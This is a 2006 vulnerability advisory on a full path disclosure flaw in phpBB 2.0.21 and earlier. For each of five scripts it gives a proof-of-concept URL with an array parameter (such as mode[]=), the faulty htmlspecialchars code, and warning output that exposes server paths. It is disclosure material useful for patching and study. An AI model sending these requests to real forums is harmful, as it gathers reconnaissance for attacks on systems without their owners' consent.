|
phpBB 2.0.21 Full Path Disclosure |
|
|
|
|
Saturday, 08 July 2006 |
-------------------------------------------------------------------
Discovered By zero [Moroccan Security Team]
-------------------------------------------------------------------
Details
~~~~~~~
Software: phpBB
Website : www.phpbb.com/about.php
Version : phpBB 2.0.21 and prior
-------------------------------------------------------------------
http://localhost/phpBB2/privmsg.php?folder[]=
# Code #
if ( isset($HTTP_POST_VARS[folder]) || isset($HTTP_GET_VARS[folder]) )
{
$folder = ( isset($HTTP_POST_VARS[folder]) ) ? $HTTP_POST_VARS[folder] : $HTTP_GET_VARS[folder];
$folder = htmlspecialchars($folder);
if ( $folder != inbox && $folder != outbox && $folder != sentbox && $folder != savebox )
{
$folder = inbox;
}
}
else
{
$folder = inbox;
}
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/privmsg.php on line 61
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 254
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 255
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/functions.php on line 941
~~~~~~~~~~~~~~~~~~~~
http://localhost/phpBB2/profile.php?mode[]=
# Code #
if ( isset($HTTP_GET_VARS[mode]) || isset($HTTP_POST_VARS[mode]) )
{
$mode = ( isset($HTTP_GET_VARS[mode]) ) ? $HTTP_GET_VARS[mode] : $HTTP_POST_VARS[mode];
$mode = htmlspecialchars($mode);
...
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/profile.php on line 77
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/profile.php:77) in /www/phpbb2/includes/functions.php on line 941
~~~~~~~~~~~~~~~~~~~~
http://localhost/phpBB2/posting.php?mode[]=
# Code #
$params = array(submit => post, preview => preview, delete => delete, poll_delete => poll_delete, poll_add => add_poll_option, poll_edit => edit_poll_option, mode => mode);
while( list($var, $param) = @each($params) )
{
if ( !empty($HTTP_POST_VARS[$param]) || !empty($HTTP_GET_VARS[$param]) )
{
$$var = ( !empty($HTTP_POST_VARS[$param]) ) ? htmlspecialchars($HTTP_POST_VARS[$param]) : htmlspecialchars($HTTP_GET_VARS[$param]);
}
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/posting.php on line 38
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/sessions.php on line 366
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/sessions.php on line 367
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 483
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 485
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 486
~~~~~~~~~~~~~~~~~~~~
http://localhost/phpBB2/groupcp.php?mode[]=
# Code #
if ( isset($HTTP_POST_VARS[mode]) || isset($HTTP_GET_VARS[mode]) )
{
$mode = ( isset($HTTP_POST_VARS[mode]) ) ? $HTTP_POST_VARS[mode] : $HTTP_GET_VARS[mode];
$mode = htmlspecialchars($mode);
}
else
{
$mode = ;
}
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/groupcp.php on line 140
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 483
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 485
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 486
~~~~~~~~~~~~~~~~~~~~
http://localhost/phpBB2/modcp.php?mode[]=
# Code #
if ( isset($HTTP_POST_VARS[mode]) || isset($HTTP_GET_VARS[mode]) )
{
$mode = ( isset($HTTP_POST_VARS[mode]) ) ? $HTTP_POST_VARS[mode] : $HTTP_GET_VARS[mode];
$mode = htmlspecialchars($mode);
}
...
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/modcp.php on line 83
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 483
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 485
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 486
-------------------------------------------------------------------
Greetz
~~~~~~
simo64, tahati, net_ghost, dabdoub, simo(d-i), iss4m, zerosecure, hunter, themenotor ...
Contact
~~~~~~~
Author: Mourad [ zero ]
b0x : xzerox(at)linuxmail(dot)org
or bestyler(at)msn(dot)com |